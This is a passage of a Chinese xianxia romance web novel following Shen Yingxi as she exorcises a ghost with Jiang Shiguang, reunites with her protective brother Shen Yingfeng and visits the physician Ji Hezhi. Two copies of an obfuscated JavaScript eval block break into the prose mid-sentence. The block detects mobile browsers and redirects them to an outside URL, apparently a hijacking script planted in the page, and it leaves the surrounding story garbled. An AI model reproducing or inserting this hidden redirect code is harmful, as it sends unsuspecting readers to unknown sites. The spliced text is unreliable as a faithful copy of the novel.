身侧落下一道低沉平稳的男声,沈盈息抬头,只能瞧得见灰暗阴风里一点白皙绷紧的下颚。 蒋事珖手掌托住少女纤薄后背,借力抵力,他掌心的温度快浸透单薄衣衫,熨温了她冰凉的蝴蝶骨。 沈盈息背后有了蒋事珖这个有力的支撑,终于得以站稳。 此时也顾不得背后,她低头迅速地拆开手中的除祟符纸,另一只捏着用来照明的符纸,同时抵住舌尖,绷紧身子,一声低喝:“去!”。 两张符纸并发而出,少女冰冷的命令声跟着在一室暗冷中响起:“蒋事珖!” 蒋事珖两手并用,不能再以掌撑着少女后背,好在沈盈息反应极快,速速退了两步,纤薄的后背便紧紧贴上了他的胸膛。 蒋事珖一言不发,无暇思及其他,一手抽剑,一手甩开召阴符,数十张符纸在剑光下粉碎成屑,纷扬而下,落在男人漆黑的眼前。 廷尉断案半生,剑下斩的尽是恶人,沾满了恶人之血与怨怼的剑身是世间第一等的除祟利器。 在只有沈盈息看得见的视野里,蒋事珖抽出那剑始,他身上便焕发出了巨大的耀眼金光。 这纯阳的正气但拎出来或只能叫鬼退避,但一旦和沈盈息的功德金光一齐糅合前发,那狰狞扑上的金丹厉鬼便面露惊恐,眼露骇然。 不过它被沈盈息的除祟符狠狠镇住,已是躲避不得。 雪白剑光一闪,除祟符与长剑齐齐发作,那择人而噬的厉鬼也只能仰天凄厉惨叫一声,浓稠如黑水的阴气颤抖之中,隐隐涣散。 厉鬼哭嚎之声刺得人耳膜生疼,浓烈阴气消散之前在室内到处冲撞,室内传来物品被冲撞倒地的闷响,空气中更弥漫起淡淡的血腥气。 死前挣扎剧烈,伤害性巨大,但好在厉鬼久撑不得,不过几息,尖叫声消失,一同湮灭的还有厉鬼的真身。 “……” “呼——” 邪祟的气息消失,沈盈息艰难地喘了口气,她一下松懈了心神,软下了强自硬撑的身子。 她本想就这样滑坐到地上休息一会儿,谁知滑到一半,一双孔武有力的手拎起她的手臂,一把把她拽了起来。 “哪儿受伤了?” 蒋事珖低沉醇厚的声音钻入耳中,刚接受完厉鬼嚎啕的磋磨,再听到他的声音,简直如聆天籁。 沈盈息被他拎站起来,还处于失力之中,一手摁着他坚硬的小臂,一手有气无力地摆了摆,“没事,就是累着了。” 蒋事珖低头,见少女累得都汗湿了鬓角,乌黑的发丝黏在雪白的脸上,脸颊上泛着疲乏的红晕,一副娇怜。 可他也看见了,沈盈息方才起符时的冰冷无畏,那样的强大与漠然。 ……单纯的富贵纨绔? 谁信。 蒋事珖垂眸,“还能走吗?” 沈盈息掀起眼皮,累得都不想说话,她移开在蒋事珖脸上的视线,看向阴气散后,站在不远处的纪和致。 她朝自己的好朋友招了招手,“纪和致……” 纪和致迈开长腿,三步并两步跨了过来,他一手握住少女伸出的手腕,“沈老板。” 听见这称呼,沈盈息半笑半气:“亲都亲过了,还喊沈老板。” 纪和致一愣,他不合时宜地想起方才唇瓣上的触感。 长睫颤了一秒,他牵过沈盈息的手,先给她借力撑着,而后才轻声道:“我们不久前,才将是友人关系。” “是啊,”握住手腕的手忽而攀延而上,少女清润嗓音落入怀中,“我们现在也还是。” 纪和致双手僵硬地张开,少女抓住他的手臂,像只艳丽的蝶儿似地扑进了怀中,而后她就安静了下来,静静抵着他胸膛休息。 他始料未及她的亲近,心口忽而漏跳了半拍,在处理不及的慌乱中,他极力平静下来,艰难思考起少女的话。 现在也还是……友人? 那方才蜻蜓点水的亲吻,又算是什么? 纪和致几乎想问,是捉弄还是玩耍?她不是已有心上人了吗? 话到嘴边,在舌尖溜了一圈,却终于被咽了下去。 高大的青年垂眸看着怀中娇小的少女,顿了顿,僵硬敞开的双臂缓缓地落到她背上,轻轻地拍了拍。 她很累。 蒋事珖从暗处走出,静默地看了半晌沈盈息和纪和致之间的相处,他再不想看,把剑收鞘,他冷着脸对沈盈息颔首:“今日打扰了。” 他知道她看不见,颔首不过礼节使然,但她听见了。 蒋事珖便得到了少女闷闷的、含糊不清的告别:“再也不见,蒋廷尉。” “……” 蒋事珖默不作声地摩挲了下指腹,此次的案子,太过特殊。 他如今也明白了少女带他过来的用意,让他亲眼见证凶手非人,免过被他所纠缠审问是吗? 这句“再也不见”,是她的目的。 恭贺她, 目的达成。 蒋事珖冷峻的面孔平冷无波:“今日之事,多谢沈姑娘。” 沈盈息这次回也不回,双手穿过纪和致的腰腹,困乏得快闭起眼睛睡着了。 这次除祟比她想得要耗费心力。 不过那邪祟身上怨气不少,天道该补给她功德的,怎么到现在还没到? 沈盈息抱着纪和致,从他的身上勉强得到一点功德反馈。 她方才那一滴舌尖血,很少,或许纪和致都没发觉她那滴血。 不过舌尖血就是如此,虽少但精,能有力护住纪和致不被邪祟侵扰伤害。 在天道未降下功德之前,她如今也只能靠纪和致身上,从他这儿生出的一层功德力回血了。 从凡人身上拿功德,真是可怜啊。 沈盈息不无郁闷,除了刚入道那年这样干过,等修道满了一年,她修为一上来,就再不会取凡人的功德了。 一来凡人所生的功德力少到微乎其微,二来所谓仙凡有别,修士过分靠近凡人总是不恰当的。 幸而她如今也算半个凡人,否则还不知道要处理多少麻烦事。 沈盈息休息了一刻多钟,才终于缓了过来。 她松开手,站直了身子,对纪和致摆手:“我先回家了,你也回去吧。” 她慢吞吞走出屋子,再朝已亮出月光的街外走,边走边想,当凡人有时候也真不容易。 走了半晌,忽而又察觉到一道冰冷熟悉的气息。 沈盈息迟钝的脑子猛地清明了过来,她停下脚步,回身去望。 月色如银,一袭黑衣的蒋廷尉长身玉立,握剑站着。 沈盈息扯起唇,“还真是,好久不见啊。” 蒋事珖听出少女的刻意嘲讽,不作他想,只沉声道:“小心纪和致。” 沈盈息毫不意外蒋事珖知道纪和致的姓名,他能出现在药铺外,就说明他肯定是有备而来。 不过如今心怀不轨的是她,人纪和致诸事不知,她想着,好笑地反问:“为 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她话音将落,蒋事珖俊美的脸便像结冰似地冻了起来,面冷鹰眼,看起来威严又吓人。 沈盈息不怕,反而笑着说:“你分析得很入理,我该说一句不愧是蒋廷尉吗?” 少女轻佻调侃完他,眨眼间又换上与之大相径庭的认真口吻:“只是纪和致品性如何,我比你清楚。况且是我接近他在先,若说心机,也该是我对他有心机才是。” 蒋事珖更深地握紧剑柄,俊脸阴沉:“你有心机?你家财万贯,要什么干净漂亮的少年没有,稀得对这样一个贫苦的男人作弄心机,莫再诓我,小心深陷陷阱而不自知。” “可我不想要其他什么漂亮少年,”沈盈息转过身,清凌凌的笑声如蜜流淌在寂静的月光中,“我就喜欢纪和致这一个。” 她往前走,丢了最后一句:“蒋廷尉也省省吧,您当我是好言难劝的该死鬼也罢,我的事无需你多问。哦,也别想着让哥哥来劝我,我哥哥最听我的话。” 蒋事珖脸色再冷得不行,他兀地一剑劈断了街边的未收走的摊位。 原地盯着的沈盈息的背影半晌,终于转身,往摊位上丢了一锭银子,施轻功消失在街道之中。 在谁也没注意到的角落,屏住气息隐匿得天衣无缝的青年慢慢走出。 他看向少女消失的位置,原本腹中的诸多疑问,如今却都如被雪埋,再无出口的时机。 纪和致修长白净的手指抚上胸前,冷硬的玉簪抵住了柔软指腹。 在以往需要忍耐的时候,用娘亲的针扎破指腹,等那血珠洇出,他就能迅速冷静下来,像一个局外人一样极力掌控着自己的境遇,好不至于滑落深渊。 现在换了玉簪,他发现自己依旧能冷静下来,但似乎,总也找不到熟悉的掌控感了。 问题便出现在,予他玉簪的那个少女身上。 沈息……你究竟要干什么。 纪和致心情难明。 两相利用的关系一旦被打破,他究竟要用真情,还是假意,才能继续冷静克制地为自己谋划自由? “……我就喜欢纪和致这一个……” 少女的声音像这漫天的月色一样,避无可避,一直在耳旁回响,清润的声线,无尽的折磨。 月光冷冷地淋在身上,像沉闷湿润的白纱将纪和致死死包裹住。 这密不透风的包围中,芝兰玉树的青年轻喃了一句,尾音消散,除了他自己,谁都听不清。 14. 第 14 第14章 沈盈息回了沈府,在阿廪的伺候下效率洗漱完毕,换上寝衣就拥着轻软的香被睡去。 睡前看见阿廪似乎要对她说什么,欲言又止的模样。 沈盈息翻过身,没好气地说了句,“天大的事待我明日醒来再说。” 说罢,她陷入沉睡之中。 阿廪在床侧良久,唇角紧抿。 家主最近……他想起阿仓带来的消息:在为家主做事,旁人无权得知。 有很多话想问,但是一想到家主的态度,阿廪的询问便临至唇边而无法出口。 他似乎有种感觉,这些话一旦问出口,他将再也不是“体贴沉稳好用”的廪管家了。 可是家主…… 您近来总是忙? 究竟在忙什么? 您身上有陌生男人的味道。 他是谁? 月色之下,俊美高大的男人单膝跪地,粗粝的大手隔空抚摸着少女白嫩的脸颊。 他伸手虚虚勾起少女鬓边落发,想要垂首轻吻,又想连带着这些乌盈的发将少女整个人纳入怀中。 家主。 …… 沈盈息是脸颊上的抚摸给弄醒的。 她陡然一惊,下意识就要蓄起攻势,但下一秒就听到了一声含笑的男声:“别怕,是我。” 沈盈息犹疑两息,不确定道:“哥哥?你回来了?” 男人恩了声,宽大手掌拍了拍她的肩,“吓着息息了,抱歉,息息继续睡吧,哥哥就是来看看你。” “这种时候怎么还睡得着嘛,”沈盈息小声抱怨了一句,得到了男人的低笑。 他揉上沈盈息的头发,将那头柔顺的乌发揉得乱蓬蓬的,这才继续带笑轻声道:“息息睡不着,要不要听哥哥讲话本?” 沈盈息把头顶的手拽下来,坐了起来,眼睛渐渐适应黑暗后,她大概能看见坐在床边的男人,一个冷硬又高大的轮廓,束发笑面。 凡人的情绪猛地全涌上了心头,沈盈息若有所感,而后好奇地伸出手,抱住了沈盈风。 成年男人宽阔的拥抱里还带着夜色的寒凉,沈盈息顿了一顿,意识到沈盈风是日夜兼程赶回家的,不由将手臂收束得更为紧密。 “怎么了?”沈盈风温柔的嗓音从头顶落下,男人伸出长而有力的手臂,环住少女,拇指抚了抚少女纤薄脊背,轻声道,“想哥哥了吗?” “……” 沈盈息没有回答,将脸整个埋进男人胸中。 沈盈风静了静,哑然失笑。 但他也不再说话,而是就这样温柔地抱着沈盈息。 他处理完淮东的生意就想着赶回京城了,半年未见,他原还担心会和沈盈息生疏了。 在府前下马时,他甚至有过一丝犹豫,想着夜深,不若明天好好准备了,再去见她。 但刚解开披风,大跨步入府,那些奴仆们低眉顺眼说要为他接风洗尘时,沈盈风抿唇,怎么也不是滋味。 接风洗尘,席间却只他孤身一人,再多奴仆伺候着又有何意味。 所以他刚净了手,就拒绝了奴仆们端上的热酒热菜,转身,三步并两步地往沈盈息的院子疾走而去。 到了院门,阿廪要拦他,沈盈风冷冷地看了这个奴才一眼。 但这奴才和其他的都不一样,他虽低眉,却依旧保持着一张面无表情的脸,很平静地对他说:“家主今日疲乏得很,现下早已睡熟,大公子不若等明日家主醒来,再来叙旧。” 沈盈风没听说过主子要听奴才话的,他早就瞧阿廪狼子野心,但息息喜欢这奴才,他便不能出手。 如今他半年在外,半年未见,日夜思念的妹妹就在几步外的屋内,他去看望,竟还被这该死的奴才挡着。 不过,以前是以前。 近来,他得到府内暗卫的传信,道阿廪在息息那儿,似乎“失宠”了。 “滚开。” 沈盈风眸底闪过一丝暗色,而后再不顾忌地,一出手,便断了阿廪的右腿。 阿廪似乎没料到他依旧如此毒辣,猝不及防下没有任何防备。 但回过神,他仍未出手反击。 在沈盈息心中,兄长和管家的地位,孰轻孰重,阿廪还是清楚的。 阿廪隐忍下痛哼,他强撑着没单膝跪下去,痛楚逼得他冷汗淋漓,但他维持着平稳的声线,依旧劝道:“家主不喜欢有人……” 回答他的只有沈盈风的一句冷哼,和男人经过时掀起的冷风。 没一会儿,身后又传来了门扉轻动的声响。 …… 思及方才的不虞经历,沈盈风纳下眸中冷色,他迟早会除了这个心怀不轨的阿廪。 本不愿在息息房前动手,这多脏,幸而息息真的睡得熟,对外间发生过的事情毫无所觉。 想到这,沈盈风不由满怀柔情。 在外的什么狠厉算计如今都歇息了下来,他将下巴轻轻抵在沈盈息头顶,蹭了蹭,又歪头将脸颊枕着少女丰盈馥郁的发顶。 少女发间的香味和秀发的丰盈,这一切如此真实,再不是梦境的虚幻了。 沈盈风闭上眼。 “息息……”男人喟叹般唤道。 沈盈息顿了一顿,沈盈风的声音虽然含着放松和笑意,但她还是听出来了怎么也遮掩不住的疲惫。 犹豫了片刻,沈盈息还是伸出双臂,试探地放到了男人宽阔的后背上,而后小心又生疏地轻拍了拍。 沈盈风一愣,继而挽唇笑了。 薄唇吐出感叹:“我们息息还真是长大了。” 沈盈息闻言,突然抬头,目光专注地观察起沈盈风。 沈家没有貌丑的,她这位嫡亲兄长生一副金质玉相,身形瘦削而结实,气质淡然,但并非毫无棱角的温和。 更准确地讲,沈盈风是游刃有余、好像能掌控万物的大儒商模样。 除了对自家嫡亲妹妹笑得真心实意,沈盈风待其他任何人都是皮笑肉不笑的疏离。 他是真心爱护沈盈息,所以愿意将偌大沈家给沈盈息,让她做有实权的家主,而自己屈位,成了众人口中的“大少爷”。 察觉到沈盈息的目光,沈盈风退出怀抱,低头看向她:“怎么了,这样看着我?” 沈盈息盯着黑暗里男人含笑的长眸,忽而问道:“哥哥,你怎么对我这么好?” 她没有经商天赋,家族生意几乎全是沈盈风在忙碌,她近乎是毫无付出地享受着金钱和权利,以及自由。 就算是亲兄妹,这样不公正的待遇,久而久之也会有不平衡的心理吧。 可是沈盈风从未表现过怨怼,他心甘情愿,甚而像甘之若饴。 沈盈风似乎没想到沈盈息会这样问,怔了一怔。 他眼底闪过一丝极不明显的慌乱,而后又迅速镇定下来,垂眼望着沈盈息,笑道:“说什么呢,我比息息大十岁,作为兄长,这都是我应该做的。” 应该做的……所谓兄长的责任? 沈盈息奥了一声,抬手摸了摸男人生出青茬的下巴,垂眼道:“这不是对哥哥太不公平了吗?” 沈盈风握住少女的手,完全地包裹住,而后送至冰凉的唇边,吻了下少女指尖,“息息平安健康地活一辈子,便是上天给哥哥的最好回报了。没什么不公平的。” 不知是什么话题触动了男人,沈盈风眼神微凝,望着少女稚嫩美好的脸庞,忽而又将其抱紧。 双手紧紧环住少女,鼻尖满是少女温润的清香,青年闷声强调:“很公平的交换,哥哥赚钱息息花,息息开心哥哥开心,息息只要这么一直平安开心下去,这就是世上最公平的事。” 沈盈息歪头,脸颊贴着男人肩膀,眼神微顿。 是错觉吗? 她怎么感觉沈盈风强调太多次她的“平安”了? 他好像一直在担心失去她。 是不是在沈盈风心里,一直存着一个“她会不平安,会被失去”的秘密? 沈盈息抚着沈盈风紧实的后背,若有似无地安慰了下。 夜深,小叙完毕,困意重新涌上来,沈盈息的眼皮越来越沉。 沈盈风忽而察觉到肩上的重量重了些,紧接着耳边就听到了少女平稳的呼吸声,他微微一愣,而后勾起唇温柔地笑了笑。 将脸颊轻柔地贴了贴少女的发顶,安静地享受了会儿家人重聚的温情。 一直在外提防冰冷的心,忽而被这难得的温情熨得满是柔软,沈盈风不舍又留恋地抱了会儿睡着的沈盈息。 但月至中天,让息息在怀中睡实是委屈她,沈盈风最终还是松开手臂,轻柔地把少女平放回软榻之中。 高大男人坐在床侧,伸手将被角仔仔细细地掖严实了。 一切照顾完毕,他却并未收回手,那垂下的指尖在被角上微顿,又缓缓移上少女的颈侧。 指腹之下,温热的颈动脉有力而沉闷地跳动着,昭示着少女蓬勃的生命力。 沈盈风微不可查地松了口气。 归家前一直担心而剧烈跳动的心脏,此时随着少女蓬勃有力的生命力象征,也跟着平稳下来。 沈盈风伸手缓缓整理着下妹妹额角乱发,视线始终停在少女不知世事的面庞上。 看着看着,由心底生出一股至深的爱意与庆幸。 这股过分满溢的情绪挠得他心肝生出痒意。 男人不由低声喃喃,似乎要藉由低喃,来稍微缓解心底膨胀的爱怜:“没事的,一切都会平安的。我们息息当然能平安活过十七岁,我们息息这么好的姑娘,吉人自有天佑。” 夜凉如水,时辰不知不觉地流逝了。 沈盈息翌日醒来,眼皮尚未完全睁开时,便察觉到脸上有道不可忽视的视线。 许是也发现了她的苏醒,床边人用熟悉的温柔声音道:“息息醒了?” 沈盈息缓缓睁眼,浓密的长睫扑朔两下,眼尾洇出生理性的泪意,她眨了眨眼,视线方清明起来。 她双手伸出被褥,歪过头对沈盈风露出个松懒的微笑:“哥哥,你又在我这儿待了一夜?” 沈盈风俯身,扶着沈盈息的双肩将人带坐起来,“息息睡觉真乖,还和小时候一样,不动不闹的。” 沈盈息被动坐起身,眼皮微垂,双手搓了搓脸,“哥哥一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274257|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来就要这样,我都快习惯你每次用夸我的借口来送礼物了,说吧,这次给我带了什么好东西啊?” “习惯就习惯了,哥哥一辈子陪息息,有什么不好,”沈盈风道,长眸半敛,伸出手掌拍了拍少女睡得蓬乱的秀发,而后又低笑,“果然还真是,什么都瞒不过息息。” 沈盈息撇嘴,坐到床边的同时,小声道:“都是老把戏了,有什么好瞒的。” 沈盈风自然地捉过少女纤细脚腕,一手把床榻下的绣鞋提上来,慢慢给少女穿鞋袜的时候,柔和的嗓音如温水般流入耳中:“把戏虽老,礼物是新啊。” 穿好了鞋,沈盈风的手还握着沈盈息纤长的小腿,他捏了捏,抬头对少女认真地道:“息息怎么瘦了?” “是不是……”沈盈风霎时间眯起长眸,眸中划过一丝危险。 沈盈息一见他这样,就知道自家兄长想的是什么,不由翻了个白眼:“又来又来,说过多少次了嘛。你在外面的时候,府里没人敢待我不好的,我是家主啊,沈府的主人欸。” 闻言,沈盈风没脾气地嗯嗯两声,眼光还停留在沈盈息纤瘦许多的小腿上。 “哥哥!”少女忽地嗔怒一声,一把跳到男人背上,死死搂着兄长脖子,咬牙切切道:“别看了别摸了,我就不能长高啊。你妹妹我过了年都十六了,身段早该窈窕起来了,怎么可能还像小时候一样嘛!” “十六……”沈盈风突然哑了声,他维持着半蹲的姿态,双手下意识护着背上的少女,脸色有瞬间的空茫。 沈盈息察觉到不对劲,探头去看,沈盈风却扭过脸,不让她看,而且绷着声道:“息息再大,在我这儿也就是个孩子。” 沈盈息往常被兄长一说是孩子,铁定是要恼的。 或许半大的少年就是这样,听不得别人说自己年纪轻,别人一说,就好像是被人看轻似的。 在过分的自尊心驱使下,少年总也忍不住说些刺耳的反驳话,以证自己有“远超同龄孩子的成熟”,好像驳倒了别人对自己是个孩子的证言,就能自觉高人一等般。 兄妹二人的爹娘早年海上经商时溺亡,沈盈风十五岁就担起了沈家。 这十年来,他才是那位过分早熟、过早地从孩子成长为担当一切的大人。 而面对真正的孩子,他不知面临了多少次妹妹关于“她不是个孩子”的驳斥和愤怒。 他没有一次生过气。 在沈盈息所有的恼怒背后,沈盈风比谁都清楚,妹妹想要快快长大,不止是少年意气,她其实只是因为不想,让他孤军作战。 爹娘猝死,平静的家族忽而掀起万丈波涛。 叔伯婶娘们虎视眈眈,生意对手们落井下石,各路官员们不怀好意,一切群魔乱舞,沈盈风看得见,小小的沈盈息感觉得到。 沈盈风不想让沈盈息过早地接触这些腌臜的东西,他逼迫自己迅速成才,一年不到就雷厉风行地安定下了沈家,还他挚爱的妹妹一片纯净与安静。 但同时作为代价,他和沈盈息聚少离多,常年在外奔波经营,一年内能回家相聚的日子不过短短二十多天。 沈盈息是天性骄傲的人,她很聪明,后来也能从表面平静的家族氛围,以及和哥哥的分离中感受到许多深意。 所以她会时常问起:“我何时才能接手家里的事情?” 沈盈风这时总会抱着她,耐心地说:“再等等,再等等。” 他欣然接受妹妹对权柄的追求,甚而会骄傲于她有时过分宏大乃至显得贪婪的野心。 这是他的妹妹,他沈盈风的妹妹。 如果他的妹妹能活过十七岁,沈盈风想,他会亲自带她一点点熟悉家族生意,从轮廓到内里,从天长到地久。 只要再等等。 “息息,我们吃早饭吧。” 半晌,男人重新恢复了温柔的模样,转回脸,对背上的少女道。 沈盈息咕哝一声,“哥哥,你肯定有秘密。” 说完,她跳下男人的背,径直走向餐桌,边走边说:“不过我知道你不会害我,你不说我也不问了。对了,哥哥,你这次何时再走?” 沈盈风眨了眨眼,他忽而觉得眼眶有些酸涩,他跟着站起来,咳了声,清除喉中的钝涩,换上轻松的笑声道:“这次哥哥不走了,陪息息过年。” “嗯?”沈盈息坐在餐桌旁,闻言困惑地扭头,“真的?” 沈盈风大步走过去,撩起少女额发,柔柔地在其眉心印下一吻,“千真万确。” 沈盈息霎时间喜笑颜开,猛地伸出双手,用力搓了搓兄长的脸颊,笑得眉不见眼,嗓音饱含蜜意:“这真是哥哥给我带过的最好、最棒、最厉害的礼物了!” 沈盈风被沈盈息欢呼雀跃的模样可爱到,他伸手捂住胸膛,眼睛跟着笑得眯成两道好看的弯弧。 肋骨后心脏终于没再装满阴谋诡计,而被温热干净的喜悦代替。 沈盈风望着沈盈息的笑脸,忽而有种重见天日、从窒息中重新呼吸到新鲜空气的救赎感。 他克制不住,伸手紧紧抱住妹妹,心底饱胀的情意到了一定临界点,生出像受伤一样愉悦的疼意。 15. 第 15 章 第15章 沈盈风好不容易回趟家,按理说,沈盈息应该收了玩心,待在家里,和哥哥享受来之的亲情时光。 但是这样过了三天,整整三日没去药铺后,小系统从识海里跳出来,对沈盈息哭哭:“仙君宝宝,你再不去看那药修疯子,他就要死啦!” 沈盈息正和沈盈风在自家后院池塘里钓鱼,玩兴正浓,系统冷不丁冒出,还用如此严厉的口吻,倒吓了她一跳。 沈盈风时刻关注着妹妹,见状放下鱼竿,揽过沈盈息肩头,低头仔细查看她的脸色,并未发觉有何不对。 不过依旧关心道:“怎么了?” 沈盈息扯唇,对她哥笑了下:“没事,想到点事情。” 沈盈风倒能听出她的避重就轻,轻轻颔首,却没再多问。 兄妹两又待了会儿,但沈盈息心思已不在垂钓上。 沈盈风早看出来了,于是伸手接过少女的杆子,无奈道:“既然有其他事去做,那就不要勉强自己陪我了,不然哥哥也不开心的。” 闻言,沈盈息本没有歉意的心,忽而生出了点歉疚,她主动抱住沈盈风的手臂,摇撼了几下,以示不舍。 而后才站起身,对沈盈风道:“哥哥,我晚上陪你吃饭!” 沈盈风嗯了声,目光温柔:“多带点银子,玩得开心点。” 沈盈息头也不回,向后摆手,然后小跑离开了后院。 少女走后,沈盈风温润兄长的笑霎时就冷了下来,他扔下鱼竿,站起身,一道暗影便无声落至身侧。 “跟着家主,看看是不是去姓纪的那儿去了。” 暗影无声,立刻消失。 沈盈风神色暗沉,望着沈盈息离去的方向,不知在想些什么。 …… 沈盈息快步往东街赶,半路却遇不顺。 季九乘坐着熟悉的车架在街市上招摇,那车身的奢华宽大,直占满了三分之二的街道,害得行人只能直身收腹,畏畏缩缩地行走。 沈盈息赶路,本来见那车轱辘转得快,应该很快就能从身边驾过去,她也就避开车,往街边边上一躲,等车过去了再走。 谁知她低头踢着石子打发等候时间,却久久不听车轮滚过的声音,不由抬头,看向街中央。 原本行得匆忙恨不得把街边摊子都撞飞的车架,如今却像蜗牛一样,两匹马踏踏像散步似地在街上逛游,半天也没见多动几米。 ? 沈盈息无语,一脚用力,把石子踢出去老远。 该死的季九,也不知成天炫耀什么。 她现在的要紧事是去看真正要死的纪和致,才没心思上前质问,例行的挑衅之乐在今日也不适宜了。 这车不走,她先走得了。 于是沈盈息绕开熟悉的车架,像是没瞧见这尊耀眼奢华的车辇似地,一溜烟从车旁溜了过去,一点目光都不带停留的。 她没看见的地方,车架上的车帘被一只白皙如玉的手狠狠扔下,帘布摇晃间,隐隐约约露出少年艳丽而含怒的脸庞。 又一次! 这孽障,她竟敢三番五次地无视他! “十五,跟着沈盈息!” 少年冰冷的命令和一道黑影同时落下。 沈盈息现在是没必要就不开神识,没有了修为的她,识海于她是鸡肋。 她还不想三步一家常五步一伦理地受着凡人八卦的侵扰。 她刚当凡人那几天就听够了。 真有危险,修了几百年的杀伐功德会护主的。 是以关了识海也无妨,沈盈息由此没发觉她这一走,身后跟着就随上了两个暗卫。 待她到了纪得药铺,眼前瞧见的却不是纪和致虚弱苍白、奄奄一息的脸,而是数不清的、脸带希冀的病容。 ……什么情况? 沈盈息站在排队排到药铺对面的糕点铺子口的人群后,蹙眉望着熙熙攘攘的铺面。 她在识海里问系统:“怎么回事?” 系统在识海里翻了个跟头:“药修疯子医术太好,快要忙死了呀。” “……” 沈盈息转身就走。 系统意识到不对,即刻要跳出识海道歉,不过有人比它先一步喊住了沈盈息。 “沈老板!” 沈盈息一顿,她回头,看见纪和致一身白衣,从人群中走出,面容温润。 视线在青年飘逸如仙的白衣上顿了一顿,沈盈息继而看向纪和致,他被人群体贴地让出一条小道来。 他就站在辟出的空间里,在一遭暗色衣衫的病人里,俊秀得出尘。 “你看见我了?”少女的目光从挤挤攘攘的人群间划过,口吻疑惑,似乎还带着对他能发现自己的惊奇。 纪和致含笑点头:“你一来,我就看见你了。” 准确地说,是闻到了。 她的气味举世无二,在沉闷的衰败气息中,沈盈息像一朵生机勃勃的鲜花,永远鲜亮干净,纪和致能比任何人先一步寻到她。 “那还真是不易。” 沈盈息倒没想到纪和致还有这本事,能从这么多人里看见她。 看来纪老板观察力不错。 怪不得他是砍天道一员呢,原来从凡人起就实力不俗了。 她只惊叹于纪和致的敏锐度,倒没深想他为何会在一开始看见她时不唤,等她要走了才唤住她。 不过纪和致一出来,那群找他看病的病人们便全都望了过来,一溜排的注视,沈盈息挥手对他们抱歉地笑了笑。 而后对纪和致道:“纪老板真厉害,竟然这么快就把药铺开起来了。” 纪和致专注望着少女的眼神一顿,收回视线,垂眸微微笑,“很快吗?我还以为过了很久呢。” “欸,别妄自菲薄嘛,”沈盈息眯眼笑,“不仅将药铺开起来,这上门求医的人也多得很呢。” 看着那些排队求医的人,不由想起初见场景,沈盈息感慨:“看来,以后得唤你纪大夫了。” 纪和致没有反驳,温和深沉的眸子定定地望了沈盈息几秒,而后郑重道:“多谢你,沈息。” 沈息? 沈盈息咳了一声,反应过来这是她随口说的假名。 她移开视线,犹豫了下,说:“呃,其实我们也算相识于微末,如此交情,不若彼此换个更亲近的称呼吧。” 叫她沈息,她有时候真担心反应不过来露馅。 纪和致神情温和,“好,我爹娘在世时,常唤我小字阿致,你若不嫌弃……” 沈盈息一听是纪和致爹娘叫的小名,又想到自己终归是要离开的,如今他爹娘已死,这个阿致的称呼不便成了独一无二的了? 待她死后,这样亲密的小字,岂非跟着她又死了一回? 沈盈息是要给这些日后的无情大能们开个情窍,让他们不要再修无情。 但不是要他们唯她不可。 待凡间此事毕了,他们若能再娶最好,也是对她开情窍的回报了。 故而,还是留点退路。 沈盈息只为难了一瞬,很快道:“当然不嫌弃,你也可以唤我小字息息。” “我……我还是唤你和致,”像是觉得这交换不对等,少女紧接着补充道,“我哥哥也唤我息息的,不过你的小字,我觉得、觉得……” 她没觉出个所以然。 不过纪和致就是体贴,他贴心地为她圆道:“不过,我的小字还是太重了,友人间还是共享欢欣为要。息息唤某和致,我也很欢喜。” 沈盈息当即被纪和致的体贴感动到了,她看着青年平静温润的脸庞,松了口气,笑道:“多谢你和致,你真不错,我一辈子都不后悔交你这个好友。” 青年顿首,目光沉了一瞬,转而恢复平和,他也弯唇笑道:“我也是。” 一辈子不后悔。 一辈子那么长,少女都敢这样保证。 但他的小字这样短,她却不敢叫出口。 纪和致对沈盈息点点头,道:“那我便先去忙,你……息息要不要来看看?” 沈盈息觉着现在的氛围有些怪,但具体说不上来,她现在的唯一想法是先走为妙,感觉和纪和致多待一会儿,这氛围就更怪了。 所以她摆手,推脱道:“不了,我这个甩手掌柜什么忙都帮不上,就先走不打扰你了。” 纪和致这回没再阻拦,长睫微垂,薄唇上还挂着笑:“好。” 沈盈息把这次带出来的荷包递给纪和致,谁知他又没要,对她解释说:“几日经营,我已收了不少问诊钱,这些贴补已不需要了,待再过半月,想必便有纯利入账,届时请沈老板来查账。” 三日……竟然已经能做到无需贴补就把铺子开起来了吗? 沈盈息默然收回银钱,对纪和致肃然起敬。 他若是只修为天赋高,沈盈息或不以为意,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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系统失落地嗷了声,“我也是第一次做系统嘛,第一次当打工人难免积极过度嘛。” 沈盈息用神识薅了把狼崽子的狼毛,“我虽修无情,但人间情爱也算看过不少,我们这样经常去和纪和致见面,反而显得无事献殷勤了,难免惹人生疑。” 系统恍然大悟:“原来如此,那仙君在沈府和兄长玩乐,是障眼法吗?” “咳,”沈盈息视线游离了一瞬,“那倒不是。” 她和她哥都玩得是真开心的。 “工作是工作,下班了还不准放松点吗?”无情道魁首如是答。 新手系统如奉圭臬,“不愧是无情道第一啊,仙君宝宝您悟性真高。果然有用,那药修疯子都主动把小名告诉你了。” 沈盈息唔了声,忽而想到何事说:“你说,我如果和纪和致成亲当夜就死遁,那能完成任务吗?这样快些。” “……”系统有一瞬的沉默,“可是,那不是太残忍吗?” 沈盈息没反应过来系统所谓的残忍。 她活生生一个人,需要系统这个没有感情机制的半灵体提醒:“他们这些疯子过了那么多阴暗凄惨的日子,心都冻成铁了,仙君,您现在给他们开了情窍,相当于让这些疯子铁心化作绕指柔,成亲当日,必是他们人生最幸福欢欣的时刻,您若是……若是那时候死了……” 系统想象着那时候的场景,莫名打了个冷颤:“我敢确定,他们也会死的。” 或者说更糟糕,他们不死,他们修道成功,然后用毁天灭地的力量带大家一起死。 沈盈息顿了下,“难道我真要和他们过一辈子?” 